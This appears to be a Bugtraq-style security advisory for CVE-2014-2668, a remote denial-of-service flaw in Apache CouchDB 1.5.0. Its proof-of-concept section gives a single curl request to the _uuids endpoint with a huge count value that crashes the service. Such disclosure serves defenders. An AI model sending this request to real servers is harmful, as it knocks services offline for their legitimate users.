Apache CouchDB Universally Unique IDentifier (UUID) Remote Denial of Service Vulnerability

BID:66474

Info

Apache CouchDB Universally Unique IDentifier (UUID) Remote Denial of Service Vulnerability

Bugtraq ID: 66474
Class: Design Error
CVE: CVE-2014-2668
Remote: Yes
Local: No
Published: Mar 26 2014 12:00AM
Updated: Apr 13 2015 08:56PM
Credit: KrustyHack
Vulnerable: Gentoo Linux
Not Vulnerable:

Discussion

Apache CouchDB Universally Unique IDentifier (UUID) Remote Denial of Service Vulnerability

Apache CouchDB is prone to a remote denial-of-service vulnerability.



An attacker can exploit this issue to crash the affected application, denying service to legitimate users.



Apache CouchDB 1.5.0 is vulnerable; other versions may also be affected.

Exploit / POC

Apache CouchDB Universally Unique IDentifier (UUID) Remote Denial of Service Vulnerability

Attackers can use a web browser to exploit this issue. The following example data is available:

curl http://www.example.com/_uuids?count=99999999999999999999999999999999999999999999999999999999999999999999999

Solution / Fix

Apache CouchDB Universally Unique IDentifier (UUID) Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].


Mandriva Business Server 1 X86 64

References

Apache CouchDB Universally Unique IDentifier (UUID) Remote Denial of Service Vulnerability

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